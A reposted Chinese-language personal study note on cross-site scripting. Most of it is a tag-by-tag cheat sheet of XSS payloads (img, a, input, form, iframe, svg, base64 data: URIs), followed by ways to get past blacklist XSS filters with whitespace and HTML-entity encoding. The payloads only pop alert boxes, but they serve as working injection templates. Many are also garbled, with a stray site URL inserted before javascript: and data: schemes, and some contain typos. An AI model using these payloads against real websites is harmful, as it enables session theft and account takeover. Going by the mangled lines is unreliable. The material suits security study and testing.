前端Hack之XSS攻击个人学习笔记 (4)

       首先我们需要尽可能地找到目标的每个输入输出点并挨个尝试;在进行尝试的时候,我们应优先选择特殊字符进行测试,如"<>&;/':等,如果连<>都未过滤/转义,那么该输入点很可能存在XSS漏洞。
       如果<>等标记符号都被过滤/转义了,我们也可以使用标签自身的属性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)来触发XSS,如
<input value=<?=$query?>>这里的$query属于动态内容,我们把他替换成恶意代码,最终的代码为<input value=http://www.likecs.com/xss onmouseover=evil_script>。
       一般来说,针对输入框的黑盒测试可能存在反射型XSS,也可能存在存储型XSS,还有可能是DOM型,针对Url参数的黑盒测试绝大多数只存在反射型XSS或DOM型XSS。

常见标签 <img>标签 利用方式1 <img src=http://www.likecs.com/javascript:alert("xss")> <IMG SRC=http://www.likecs.com/javascript:alert(String.formCharCode(88,83,83))> <img scr="URL" <!--CSS标记xss--> <img> XSS利用方式2 <img src="http://www.likecs.com/x" onerror=alert(1)> <img src="http://www.likecs.com/1" onerror=eval("alert('xss')")> XSS利用方式3 <img src=http://www.likecs.com/1 onmouseover=alert('xss')> <a>标签 标准格式 <a href="http://www.baidu.com">baidu</a> XSS利用方式1 <a href="javascript:alert('xss')">aa</a> <a href=http://www.likecs.com/javascript:eval(alert('xss'))>aa</a> <a href="javascript:aaa">aa</a> XSS利用方式2 <script>alert('xss')</script> <a href="" onclick=alert('xss')>aa</a> 利用方式3 <a href="" onclick=eval(alert('xss'))>aa</a> 利用方式4 <a href=kycg.asp?ttt=http://www.likecs.com/1000 onmouseover=prompt('xss') y=2016>aa</a> input标签 标准格式 <input value=""> 利用方式1 <input value="" onclick=alert('xss') type="text"> 利用方式2 <input value="" onmouseover=prompt('xss') bad=""> 利用方式4 <input value=""><script>alert('xss')</script> <form>标签 XSS利用方式1 <form action=http://www.likecs.com/javascript:alert('xss') method="get"> <form action=http://www.likecs.com/javascript:alert('xss')> XSS利用方式2 <form method=post action=aa.asp? onmouseover=prompt('xss')> <form method=post action=aa.asp? onmouseover=alert('xss')> <form action=http://www.likecs.com/1 onmouseover=alert('xss)> XSS利用方式3 <!--原code--> <form method=post action="data:text/html;base64,<script>alert('xss')</script>"> <!--base64编码--> <form method=post action="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe>标签 XSS利用方式1 <iframe src=http://www.likecs.com/javascript:alert('xss');height=5width=http://www.likecs.com/1000 /><iframe> XSS利用方式2 <iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe> <!--原code--> <iframe src="data:text/html;base64,<script>alert('xss')</script>"> <!--base64编码--> <iframe src="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> XSS利用方式3 <iframe src="http://www.likecs.com/aaa" onmouseover=alert('xss') /><iframe> XSS利用方式3 <iframe src="http://www.likecs.com/javascript&colon;prompt&lpar;`xss`&rpar;"></iframe> svg<>标签 <svg onload=alert(1)> iframe <iframe src="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

——引自wkend的文章《XSS小节》

工具检测

       关于XSS的自动检测软件有许多,如Burp的Scan模块,BruteXSS等,这里不做过多解释。

6) shellcode的绕过 绕过XSS-Filter

       XSS-Filter是一段基于黑名单的过滤函数,大多数CMS都有这么个函数,作用于用户的每一个输入点,用于过滤可能的恶意代码。不过从某种意义上来说,基于黑名单的保护是一定不会是安全的,由于XSS的多变性,几乎不可能存在完全地过滤。

空格回车和Tab

       对XSS-Filter而言,如果仅仅是将函数加入黑名单处理,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在javascript中只会将;作为语句的终止符,当浏览器引擎解析javascript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字javascript|alert的过滤:

<img src=http://www.likecs.com/javasc ript:aler t(/xss/)>

IE6下测试成功

对标签属性值进行转码

       HTML中属性值支持ASCII码形式,如

<img src="javascript:alert('xss');">

       替换成

<img src="javascrip&#116&#58alert('xss');">

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzzwjz.html